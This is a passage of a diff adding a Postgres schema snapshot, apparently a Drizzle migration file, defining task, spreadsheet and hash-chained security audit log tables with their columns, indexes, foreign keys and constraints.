+ "name": "task_assignees_agentPageId_pages_id_fk",
+ "tableFrom": "task_assignees",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "agentPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "task_assignees_task_user": {
+ "name": "task_assignees_task_user",
+ "nullsNotDistinct": false,
+ "columns": [
+ "taskId",
+ "userId"
+ ]
+ },
+ "task_assignees_task_agent": {
+ "name": "task_assignees_task_agent",
+ "nullsNotDistinct": false,
+ "columns": [
+ "taskId",
+ "agentPageId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "task_assignees_has_assignee": {
+ "name": "task_assignees_has_assignee",
+ "value": "(\"userId\" IS NOT NULL OR \"agentPageId\" IS NOT NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.task_items": {
+ "name": "task_items",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "assigneeId": {
+ "name": "assigneeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "assigneeAgentId": {
+ "name": "assigneeAgentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "priority": {
+ "name": "priority",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'medium'"
+ },
+ "startDate": {
+ "name": "startDate",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dueDate": {
+ "name": "dueDate",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "completedAt": {
+ "name": "completedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "task_items_assignee_id_idx": {
+ "name": "task_items_assignee_id_idx",
+ "columns": [
+ {
+ "expression": "assigneeId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "task_items_assignee_agent_id_idx": {
+ "name": "task_items_assignee_agent_id_idx",
+ "columns": [
+ {
+ "expression": "assigneeAgentId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "task_items_page_id_idx": {
+ "name": "task_items_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "task_items_due_date_idx": {
+ "name": "task_items_due_date_idx",
+ "columns": [
+ {
+ "expression": "dueDate",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "task_items_userId_users_id_fk": {
+ "name": "task_items_userId_users_id_fk",
+ "tableFrom": "task_items",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "task_items_assigneeId_users_id_fk": {
+ "name": "task_items_assigneeId_users_id_fk",
+ "tableFrom": "task_items",
+ "tableTo": "users",
+ "columnsFrom": [
+ "assigneeId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "task_items_assigneeAgentId_pages_id_fk": {
+ "name": "task_items_assigneeAgentId_pages_id_fk",
+ "tableFrom": "task_items",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "assigneeAgentId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "task_items_pageId_pages_id_fk": {
+ "name": "task_items_pageId_pages_id_fk",
+ "tableFrom": "task_items",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "task_items_pageId_unique": {
+ "name": "task_items_pageId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "pageId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.task_lists": {
+ "name": "task_lists",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "conversationId": {
+ "name": "conversationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'pending'"
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "task_lists_page_id_idx": {
+ "name": "task_lists_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "task_lists_conversation_id_idx": {
+ "name": "task_lists_conversation_id_idx",
+ "columns": [
+ {
+ "expression": "conversationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "task_lists_user_id_idx": {
+ "name": "task_lists_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "task_lists_userId_users_id_fk": {
+ "name": "task_lists_userId_users_id_fk",
+ "tableFrom": "task_lists",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "task_lists_pageId_pages_id_fk": {
+ "name": "task_lists_pageId_pages_id_fk",
+ "tableFrom": "task_lists",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.task_status_configs": {
+ "name": "task_status_configs",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "taskListId": {
+ "name": "taskListId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "slug": {
+ "name": "slug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "color": {
+ "name": "color",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "group": {
+ "name": "group",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "position": {
+ "name": "position",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "wipLimit": {
+ "name": "wipLimit",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "task_status_configs_task_list_id_idx": {
+ "name": "task_status_configs_task_list_id_idx",
+ "columns": [
+ {
+ "expression": "taskListId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "task_status_configs_taskListId_task_lists_id_fk": {
+ "name": "task_status_configs_taskListId_task_lists_id_fk",
+ "tableFrom": "task_status_configs",
+ "tableTo": "task_lists",
+ "columnsFrom": [
+ "taskListId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "task_status_configs_task_list_slug": {
+ "name": "task_status_configs_task_list_slug",
+ "nullsNotDistinct": false,
+ "columns": [
+ "taskListId",
+ "slug"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.sheet_cell_deps": {
+ "name": "sheet_cell_deps",
+ "schema": "",
+ "columns": {
+ "tabId": {
+ "name": "tabId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "address": {
+ "name": "address",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dependsOn": {
+ "name": "dependsOn",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dependents": {
+ "name": "dependents",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "sheet_cell_deps_tab_idx": {
+ "name": "sheet_cell_deps_tab_idx",
+ "columns": [
+ {
+ "expression": "tabId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "sheet_cell_deps_tabId_sheet_tabs_id_fk": {
+ "name": "sheet_cell_deps_tabId_sheet_tabs_id_fk",
+ "tableFrom": "sheet_cell_deps",
+ "tableTo": "sheet_tabs",
+ "columnsFrom": [
+ "tabId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "sheet_cell_deps_tabId_address_pk": {
+ "name": "sheet_cell_deps_tabId_address_pk",
+ "columns": [
+ "tabId",
+ "address"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.sheet_changes": {
+ "name": "sheet_changes",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tabId": {
+ "name": "tabId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "seq": {
+ "name": "seq",
+ "type": "bigserial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "actorUserId": {
+ "name": "actorUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "actorEmail": {
+ "name": "actorEmail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "changeGroupId": {
+ "name": "changeGroupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "op": {
+ "name": "op",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "address": {
+ "name": "address",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rowIndex": {
+ "name": "rowIndex",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "before": {
+ "name": "before",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "after": {
+ "name": "after",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "sheet_changes_page_seq_idx": {
+ "name": "sheet_changes_page_seq_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "seq",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "sheet_changes_tab_seq_idx": {
+ "name": "sheet_changes_tab_seq_idx",
+ "columns": [
+ {
+ "expression": "tabId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "seq",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "sheet_changes_created_at_idx": {
+ "name": "sheet_changes_created_at_idx",
+ "columns": [
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "sheet_changes_pageId_pages_id_fk": {
+ "name": "sheet_changes_pageId_pages_id_fk",
+ "tableFrom": "sheet_changes",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "sheet_changes_actorUserId_users_id_fk": {
+ "name": "sheet_changes_actorUserId_users_id_fk",
+ "tableFrom": "sheet_changes",
+ "tableTo": "users",
+ "columnsFrom": [
+ "actorUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.sheet_range_deps": {
+ "name": "sheet_range_deps",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "tabId": {
+ "name": "tabId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "formulaAddress": {
+ "name": "formulaAddress",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "rowStart": {
+ "name": "rowStart",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "rowEnd": {
+ "name": "rowEnd",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "colStart": {
+ "name": "colStart",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "colEnd": {
+ "name": "colEnd",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "sheet_range_deps_tab_idx": {
+ "name": "sheet_range_deps_tab_idx",
+ "columns": [
+ {
+ "expression": "tabId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "sheet_range_deps_cover_idx": {
+ "name": "sheet_range_deps_cover_idx",
+ "columns": [
+ {
+ "expression": "tabId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "rowStart",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "rowEnd",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "sheet_range_deps_formula_idx": {
+ "name": "sheet_range_deps_formula_idx",
+ "columns": [
+ {
+ "expression": "tabId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "formulaAddress",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "sheet_range_deps_tabId_sheet_tabs_id_fk": {
+ "name": "sheet_range_deps_tabId_sheet_tabs_id_fk",
+ "tableFrom": "sheet_range_deps",
+ "tableTo": "sheet_tabs",
+ "columnsFrom": [
+ "tabId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "sheet_range_deps_bounds_ordered": {
+ "name": "sheet_range_deps_bounds_ordered",
+ "value": "(\"sheet_range_deps\".\"rowEnd\" IS NULL OR \"sheet_range_deps\".\"rowEnd\" >= \"sheet_range_deps\".\"rowStart\") AND (\"sheet_range_deps\".\"colEnd\" IS NULL OR \"sheet_range_deps\".\"colEnd\" >= \"sheet_range_deps\".\"colStart\")"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.sheet_rows": {
+ "name": "sheet_rows",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "tabId": {
+ "name": "tabId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "rowIndex": {
+ "name": "rowIndex",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "cells": {
+ "name": "cells",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "sheet_rows_page_row_idx": {
+ "name": "sheet_rows_page_row_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "rowIndex",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "sheet_rows_tab_row_idx": {
+ "name": "sheet_rows_tab_row_idx",
+ "columns": [
+ {
+ "expression": "tabId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "rowIndex",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "sheet_rows_cells_gin": {
+ "name": "sheet_rows_cells_gin",
+ "columns": [
+ {
+ "expression": "cells",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "gin",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "sheet_rows_tabId_sheet_tabs_id_fk": {
+ "name": "sheet_rows_tabId_sheet_tabs_id_fk",
+ "tableFrom": "sheet_rows",
+ "tableTo": "sheet_tabs",
+ "columnsFrom": [
+ "tabId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "sheet_rows_pageId_pages_id_fk": {
+ "name": "sheet_rows_pageId_pages_id_fk",
+ "tableFrom": "sheet_rows",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "sheet_rows_tab_row_unique": {
+ "name": "sheet_rows_tab_row_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "tabId",
+ "rowIndex"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "sheet_rows_row_index_non_negative": {
+ "name": "sheet_rows_row_index_non_negative",
+ "value": "\"sheet_rows\".\"rowIndex\" >= 0"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.sheet_tabs": {
+ "name": "sheet_tabs",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "tabIndex": {
+ "name": "tabIndex",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "rowCount": {
+ "name": "rowCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "columnCount": {
+ "name": "columnCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "frozenRows": {
+ "name": "frozenRows",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "frozenColumns": {
+ "name": "frozenColumns",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "columnFormats": {
+ "name": "columnFormats",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "columnWidths": {
+ "name": "columnWidths",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rowHeights": {
+ "name": "rowHeights",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ranges": {
+ "name": "ranges",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "conditionalFormats": {
+ "name": "conditionalFormats",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "regions": {
+ "name": "regions",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "sheet_tabs_page_id_idx": {
+ "name": "sheet_tabs_page_id_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "sheet_tabs_pageId_pages_id_fk": {
+ "name": "sheet_tabs_pageId_pages_id_fk",
+ "tableFrom": "sheet_tabs",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "sheet_tabs_page_tab_unique": {
+ "name": "sheet_tabs_page_tab_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "pageId",
+ "tabIndex"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {
+ "sheet_tabs_extent_non_negative": {
+ "name": "sheet_tabs_extent_non_negative",
+ "value": "\"sheet_tabs\".\"rowCount\" >= 0 AND \"sheet_tabs\".\"columnCount\" >= 0"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.security_audit_log": {
+ "name": "security_audit_log",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "event_type": {
+ "name": "event_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "session_id": {
+ "name": "session_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "service_id": {
+ "name": "service_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resource_type": {
+ "name": "resource_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resource_id": {
+ "name": "resource_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ip_address": {
+ "name": "ip_address",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ip_bidx": {
+ "name": "ip_bidx",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_agent": {
+ "name": "user_agent",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "geo_location": {
+ "name": "geo_location",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "details": {
+ "name": "details",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "risk_score": {
+ "name": "risk_score",
+ "type": "real",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "anomaly_flags": {
+ "name": "anomaly_flags",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "timestamp": {
+ "name": "timestamp",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "chain_seq": {
+ "name": "chain_seq",
+ "type": "bigserial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "previous_hash": {
+ "name": "previous_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "event_hash": {
+ "name": "event_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "idx_security_audit_timestamp": {
+ "name": "idx_security_audit_timestamp",
+ "columns": [
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_user_timestamp": {
+ "name": "idx_security_audit_user_timestamp",
+ "columns": [
+ {
+ "expression": "user_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_event_type": {
+ "name": "idx_security_audit_event_type",
+ "columns": [
+ {
+ "expression": "event_type",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_resource": {
+ "name": "idx_security_audit_resource",
+ "columns": [
+ {
+ "expression": "resource_type",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "resource_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_ip": {
+ "name": "idx_security_audit_ip",
+ "columns": [
+ {
+ "expression": "ip_address",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_ip_bidx": {
+ "name": "idx_security_audit_ip_bidx",
+ "columns": [
+ {
+ "expression": "ip_bidx",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "timestamp",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_security_audit_event_hash": {
+ "name": "idx_security_audit_event_hash",
+ "columns": [
+ {
+ "expression": "event_hash",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
